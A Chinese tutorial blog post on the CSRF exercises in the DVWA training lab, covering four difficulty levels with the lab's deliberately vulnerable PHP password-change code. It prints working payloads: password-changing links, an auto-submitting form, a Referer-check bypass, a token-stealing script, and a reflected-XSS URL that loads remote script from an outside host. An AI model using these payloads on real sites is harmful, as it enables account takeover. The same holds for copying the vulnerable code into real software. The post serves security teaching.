DVWA 黑客攻防演练(十四)CSRF 攻击 Cross Site Request Forgery

这么多攻击中,CSRF 攻击,全称是 Cross Site Request Forgery,翻译过来是跨站请求伪造可谓是最防不胜防之一。好比删除一篇文章,添加一笔钱之类,若是开发者是没有考虑到会被 CSRF 攻击的,一旦被利用对公司损失很大的。javascript

低级

界面以下,目的是实现修改密码php

低级代码以下css

<?php

if( isset( $_GET[ 'Change' ] ) ) {
    // Get input
    $pass_new  = $_GET[ 'password_new' ];
    $pass_conf = $_GET[ 'password_conf' ];

    // Do the passwords match?
    if( $pass_new == $pass_conf ) {
        // They do!
        $pass_new = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"],  $pass_new ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : ""));
        $pass_new = md5( $pass_new );

        // Update the database
        $insert = "UPDATE `users` SET password = '$pass_new' WHERE user = '" . dvwaCurrentUser() . "';";
        $result = mysqli_query($GLOBALS["___mysqli_ston"],  $insert ) or die( '<pre>' . ((is_object($GLOBALS["___mysqli_ston"])) ? mysqli_error($GLOBALS["___mysqli_ston"]) : (($___mysqli_res = mysqli_connect_error()) ? $___mysqli_res : false)) . '</pre>' );

        // Feedback for the user
        echo "<pre>Password Changed.</pre>";
    }
    else {
        // Issue with passwords matching
        echo "<pre>Passwords did not match.</pre>";
    }

    ((is_null($___mysqli_res = mysqli_close($GLOBALS["___mysqli_ston"]))) ? false : $___mysqli_res);
}

?>

功能确实是能够修改密码的。html

然而 Hacker 发了一封使人惊喜的邮件给你,里面的内容是这样的。
前端

或者是这样 java

只要点击进去了。密码就被改了。由于他的连接是。。。mysql

http://192.168.0.110:5678/vulnerabilities/csrf/?password_new=123456&password_conf=123456&Change=Change 而后密码就被改为 123456。。。sql

或者连接是指向的是一个恶意网站。网站里面有一张图片,并且是打不开。可是这张图片的连接是。。。http://192.168.31.166:5678/vulnerabilities/csrf/?password_new=123456&password_conf=123456&Change=Change后端

密码又被改了。跨域

或者你会以为形成这种问题的主要缘由是用 Get 请求,用 Post 就不会了。。。Hacker 的就将网站写成这样了。

<form action="" id="change-passwd" method="post">
<input type="password" name="password_new" value=""/>
<input type="password" name="password_conf" value=""/>
<input type="submit" name="submit" value="submit"/>
</form>
<script>
var form = document.getElementById("change-passwd");
form.inputs[0].value="123456";
form.inputs[1].value="123456";
form.submit();
</script>

这漏洞确实是防不胜防。。。接下面看看中级代码

中级

中级代码就多了验证请求头部的来源地址(Referer),来源地址与服务器地址一致才能修改密码。而你从邮件中点击连接过来的,或者从另外网站点击的是不能修改密码。

<?php

if( isset( $_GET[ 'Change' ] ) ) {
    // Checks to see where the request came from
    if( stripos( $_SERVER[ 'HTTP_REFERER' ] ,$_SERVER[ 'SERVER_NAME' ]) !== false ) {
        // Get input
        $pass_new  = $_GET[ 'password_new' ];
        $pass_conf = $_GET[ 'password_conf' ];

        // Do the passwords match?
        if( $pass_new == $pass_conf ) {
            // They do!
            $pass_new = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"],  $pass_new ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : ""));
            $pass_new = md5( $pass_new );

            // Update the database
            $insert = "UPDATE `users` SET password = '$pass_new' WHERE user = '" . dvwaCurrentUser() . "';";
            $result = mysqli_query($GLOBALS["___mysqli_ston"],  $insert ) or die( '<pre>' . ((is_object($GLOBALS["___mysqli_ston"])) ? mysqli_error($GLOBALS["___mysqli_ston"]) : (($___mysqli_res = mysqli_connect_error()) ? $___mysqli_res : false)) . '</pre>' );

            // Feedback for the user
            echo "<pre>Password Changed.</pre>";
        }
        else {
            // Issue with passwords matching
            echo "<pre>Passwords did not match.</pre>";
        }
    }
    else {
        // Didn't come from a trusted source
        echo "<pre>That request didn't look correct.</pre>";
    }

    ((is_null($___mysqli_res = mysqli_close($GLOBALS["___mysqli_ston"]))) ? false : $___mysqli_res);
}

?>

而验证的来源地址和服务器地址是否一致的代码是这样的

stripos( $_SERVER[ 'HTTP_REFERER' ] ,$_SERVER[ 'SERVER_NAME' ]) !== false )

stripos函数的定义 能够看这里。

假如服务器的地址是 192.168.0.110($_SERVER[ 'SERVER_NAME' ]),而恶意的网站的地址是 a.com/192.168.0.110.php($_SERVER[ 'HTTP_REFERER' ]) 。。。不就能够绕过了吗?

而 192.168.0.110.php 的内容也很简单
`php <form action="http://192.168.0.110:5678/vulnerabilities/csrf/?" method="GET"> <h1>Click Me</h1> <input type="text" name="password_new" value="hacker"> <input type="text" name="password_conf" value="hacker"> <input type="submit" value="Change" name="Change"> </form> <script> document.getElementsByTagName("form")[0].submit() <script>

高级

CSRF 为何会成功?其本质缘由是重要操做的全部参数均可以被攻击者猜想到。 --吴翰清 《白帽子讲 Web 安全》 p121

因此参数若是有一个攻击者猜想不到的参数,攻击者就很难攻击了。因此服务器生成一个(伪)随机字符串(叫 token),保存在 session 中,同时放在网页上中。用户登陆,发送请求的时候会把这个字符串带到服务器上验证。
高级代码以下

<?php

if( isset( $_GET[ 'Change' ] ) ) {
    // Check Anti-CSRF token
    checkToken( $_REQUEST[ 'user_token' ], $_SESSION[ 'session_token' ], 'index.php' );

    // Get input
    $pass_new  = $_GET[ 'password_new' ];
    $pass_conf = $_GET[ 'password_conf' ];

    // Do the passwords match?
    if( $pass_new == $pass_conf ) {
        // They do!
        $pass_new = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"],  $pass_new ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : ""));
        $pass_new = md5( $pass_new );

        // Update the database
        $insert = "UPDATE `users` SET password = '$pass_new' WHERE user = '" . dvwaCurrentUser() . "';";
        $result = mysqli_query($GLOBALS["___mysqli_ston"],  $insert ) or die( '<pre>' . ((is_object($GLOBALS["___mysqli_ston"])) ? mysqli_error($GLOBALS["___mysqli_ston"]) : (($___mysqli_res = mysqli_connect_error()) ? $___mysqli_res : false)) . '</pre>' );

        // Feedback for the user
        echo "<pre>Password Changed.</pre>";
    }
    else {
        // Issue with passwords matching
        echo "<pre>Passwords did not match.</pre>";
    }

    ((is_null($___mysqli_res = mysqli_close($GLOBALS["___mysqli_ston"]))) ? false : $___mysqli_res);
}

// Generate Anti-CSRF token
generateSessionToken();

?>

因此,若是要攻击的话,首先要获取页面的 token,假如 Hacker 在网站 a.com/csrf.php 上写了这样的代码呢?

<script>
     var xmlhttp = new XMLHttpRequest();
     xmlhttp.withCredentials = true;
     var success = false;
     xmlhttp.onreadystatechange = function(){
         if (xmlhttp.readyState == 4 && xmlhttp.status == 200){
             var text = xmlhttp.responseText;
             var regex = /user_token\' value\=\'(.*?)\' \/\>/;
             var match = text.match(regex);
             var token = match[1];
             var pass = "123456";
             var attack_url = "http://192.168.0.110:5678/vulnerabilities/csrf/?user_token="+token+"&password_new="+pass+"&password_conf="+pass+"&Change=Change";
             if(!success){
                 success=true;
                 xmlhttp.open("GET",attack_url);
                 xmlhttp.send();
             }
         }
     }
 
     xmlhttp.open("GET","http://192.168.0.110:5678/vulnerabilities/csrf/");
     xmlhttp.send();
 </script>

这是不能执行的,缘由是现代浏览器是不容许进行跨域请求的(先后端分离会有特定的请求头),在 a.com 上不能请求 192.168.0.110 的数据的(除了css,js之类的静态文件外)。因此要“另辟蹊径”。

也看了下《白帽子讲 Web安全》。也说若是存在 XSS 漏洞,这方案就会变无效了。。。因此这代码主要仍是本身或队友的代码形成有漏洞了。。。

简要解释一下,由于高级反射型 XSS那里有个漏洞,那里能有效地去掉了 script 标签的注入,可是忽略了 img 之类的元素注入。

因此,能够往里面注入 <img src=x onerror="alert(1)"> 这样的东西。若是你用点开这样的连接 http://192.168.0.110:5678/vulnerabilities/xss_r/?name=%3Cimg+src%3Dx+onerror%3D%22alert%281%29%22%3E# ,就会看到弹窗了,也就是说能注入 js 代码。

而后要作的东西是往里面注入远程的 js 代码(test.js),test.js 的内容上面跨域的内容同样。因此问题是如何注入 '' 这样的字符串

而服务器有个正则替换<.\*s.\*c.\*r.\*i.\*p.\*t,全部含有 script 的字符都会被替换 。直接在onerror函数中注入代码是能够的,可是有点痛苦,由于要躲开这个正则替换。因此能够用点取巧的方式,onerror里面的内容是eval(unescape(location.hash.substr(1))),其中location.hash是 url 中 # 后面的内容(通常是前端框架用来作路由,且没有长度限制),就是要注入的 js 的内容了。

点击下面这个连接,就能够绕过 anti-token 机制改掉密码。。。

http://192.168.0.110:5678/vulnerabilities/xss_r/?name=%3Cimg%20src=x%20onerror=%22eval(unescape(location.hash.substr(1)))%22%3E#d=document;h=d.getElementsByTagName(%22head%22).item(0);s=d.createElement(%22script%22);s.setAttribute(%22src%22,%20%22//www.a.com/test.js%22);h.appendChild(s)

哈希路由后面的代码

d=document;
h=d.getElementsByTagName('head').item(0);
s=d.createElement('script');
s.setAttribute('src','//www.a.com/test.js');
h.appendChild(s);

意思是在 head 的标签下添加个 ''

不可能

和高级相比,不可能级别会要求检查原密码,就算有 XSS 漏洞也要知道原密码才能修改,并且代码中用了 $db->prepare 的写法防止 SQL 的注入。这样安全多了。

<?php

if( isset( $_GET[ 'Change' ] ) ) {
    // Check Anti-CSRF token
    checkToken( $_REQUEST[ 'user_token' ], $_SESSION[ 'session_token' ], 'index.php' );

    // Get input
    $pass_curr = $_GET[ 'password_current' ];
    $pass_new  = $_GET[ 'password_new' ];
    $pass_conf = $_GET[ 'password_conf' ];

    // Sanitise current password input
    $pass_curr = stripslashes( $pass_curr );
    $pass_curr = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"],  $pass_curr ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : ""));
    $pass_curr = md5( $pass_curr );

    // Check that the current password is correct
    $data = $db->prepare( 'SELECT password FROM users WHERE user = (:user) AND password = (:password) LIMIT 1;' );
    $data->bindParam( ':user', dvwaCurrentUser(), PDO::PARAM_STR );
    $data->bindParam( ':password', $pass_curr, PDO::PARAM_STR );
    $data->execute();

    // Do both new passwords match and does the current password match the user?
    if( ( $pass_new == $pass_conf ) && ( $data->rowCount() == 1 ) ) {
        // It does!
        $pass_new = stripslashes( $pass_new );
        $pass_new = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"],  $pass_new ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : ""));
        $pass_new = md5( $pass_new );

        // Update database with new password
        $data = $db->prepare( 'UPDATE users SET password = (:password) WHERE user = (:user);' );
        $data->bindParam( ':password', $pass_new, PDO::PARAM_STR );
        $data->bindParam( ':user', dvwaCurrentUser(), PDO::PARAM_STR );
        $data->execute();

        // Feedback for the user
        echo "<pre>Password Changed.</pre>";
    }
    else {
        // Issue with passwords matching
        echo "<pre>Passwords did not match or current password incorrect.</pre>";
    }
}

// Generate Anti-CSRF token
generateSessionToken();

?>

最后

dvwa 中防护 CSRF 攻击主要是经过验证 Referer 头和设置 anti-token 的方式。而不可能级别的还会要求验证原密码。 而 referer check 缺陷在于,服务器并不是何时都能取得 referer。不少时候用户出于隐私保护的考虑,限制了 Referer 的发送。某些状况下,浏览器也不会发送 Referer,好比从 HTTPS 跳转到 HTTP,出于安全的考虑,浏览器也不会发送 Referer(《白帽子讲Web安全》)

而通常用 anti-token 机制就能很好地防护了。

若是有验证码的存在,也能提升攻击的难度。

如今的网站重置密码也不会这样直接重置了,基本也会发一个有待 token 的 url 邮件或者手机短信验证码吧

相关文章
相关标签/搜索